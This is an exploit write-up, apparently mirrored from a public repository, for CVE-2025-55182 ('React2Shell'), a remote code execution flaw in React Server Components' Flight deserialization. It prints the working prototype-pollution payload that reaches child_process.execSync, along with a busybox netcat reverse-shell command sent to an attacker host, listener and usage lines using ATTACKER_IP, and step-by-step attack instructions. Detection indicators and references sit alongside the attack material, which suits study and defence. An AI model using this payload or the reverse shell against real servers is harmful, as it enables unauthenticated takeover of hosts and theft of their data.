React Server Components Flight-Protocol Prototype Pollution RCE — "React2Shell" (CVE-2025-55182)

Metadata

Affected Target

Summary

CVE-2025-55182, dubbed “React2Shell”, is a critical unauthenticated remote code execution vulnerability in React Server Components’ Flight protocol deserialization. The Flight protocol serializes/deserializes component data exchanged between client and server; insufficient validation during deserialization allows a specially crafted multipart/form-data payload to manipulate internal object structures, walk the JavaScript prototype chain, reach the Function/constructor machinery, and ultimately invoke child_process.execSync server-side. The included PoC is a 22-line, 715-byte Python script that builds this Flight payload and POSTs it to a target RSC endpoint, causing the server to execute an attacker-supplied reverse-shell command (busybox nc <LHOST> 4444 -e sh) with no authentication and a single HTTP request.

Vulnerability Details

Root Cause

The Flight protocol represents server/client component data as a set of numbered “chunks” that reference each other (e.g. $1:..., $B666). The vulnerable deserializer does not sufficiently validate the shape of these chunk references when resolving then/status/value fields on a Promise-like chunk, nor does it restrict which properties can be traversed. The PoC payload abuses this to reach __proto__ and constructor:constructor — i.e., Function’s constructor — through a chain of chunk back-references, then supplies a _response._prefix string that is effectively executed as JavaScript:

1
2
3
4
5
6
7

hehe = {
    "then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": '{"then":"$B666"}',
    "_response": {
        "_prefix": f"process.mainModule.require('child_process').execSync('{rshell}');",
        "_formData": {"get": "$1:constructor:constructor"}
    }
}

Because _prefix is later concatenated/evaluated as part of resolving the deferred chunk, the attacker-controlled string executes as server-side JavaScript, giving access to Node’s process.mainModule.require, from which child_process.execSync is reachable and directly runs OS commands.

Attack Vector

1. Attacker identifies a reachable React Server Components (Flight protocol) endpoint on a Next.js/RSC application, indicated by a Next-Action request header being accepted.
2. Attacker sends a single crafted multipart/form-data POST request whose form fields (0, 1) encode the malicious Flight chunk graph (see CVE-2025-55182-React2Shell.py), with the Next-Action header set to trigger server action/RSC handling.
3. The server’s Flight deserializer resolves the chunk references, following __proto__ and constructor:constructor to reach Function’s constructor and the module-level process.mainModule.require.
4. The _prefix string, containing process.mainModule.require('child_process').execSync('<attacker command>'), is executed in the Node.js server process.
5. The attacker’s command (in the PoC, a busybox nc <LHOST> 4444 -e sh reverse shell) runs with the privileges of the Node.js server process, and a listener on the attacker’s machine (nc -lvnp 4444) receives an interactive shell.

Impact

Full unauthenticated remote code execution on any server running an affected React Server Components version with a reachable RSC/server-action endpoint — a single HTTP request yields an interactive shell with the web server process’s privileges, enabling data theft, lateral movement, and full host compromise.

Environment / Lab Setup

Target:      Node.js server running React 19.0 / 19.1.0 / 19.1.1 / 19.2.0 with React Server
             Components enabled (typically via Next.js) and a reachable RSC/server-action endpoint
Attacker:    Any host with Python 3 + `requests`, and a netcat listener
Dependencies: python3, pip install requests

Proof of Concept

PoC Script

See CVE-2025-55182-React2Shell.py in this folder.

1
2
3
4
5

nc -lvnp 4444

python3 CVE-2025-55182-React2Shell.py <TARGET_URL> <LHOST>

python3 CVE-2025-55182-React2Shell.py http://TARGET:3000/ ATTACKER_IP

Detection & Indicators of Compromise

Signs of compromise:

• Unexpected child processes (sh, nc, busybox) spawned by the Node.js/Next.js server process.
• Outbound reverse-shell connections originating from the web server host.
• Application logs showing malformed/oversized Flight protocol payloads referencing __proto__ or constructor.

Remediation

References

• Source repository
• OffSec — CVE-2025-55182 Exploitation Analysis
• Microsoft Security Blog — Defending Against React2Shell
• React Security Advisory (Official Disclosure)

Notes

Mirrored from https://github.com/Herick-Costa/CVE-2025-55182-React2Shell-RCE on 2026-07-06. Small (715-byte) but functional script crafting a React Flight-protocol prototype-pollution payload triggering child_process.execSync. The original script contains informal Portuguese-language comments/variable names (hehe, Uso: ...) but the exploit logic is CVE-specific and functional as-is.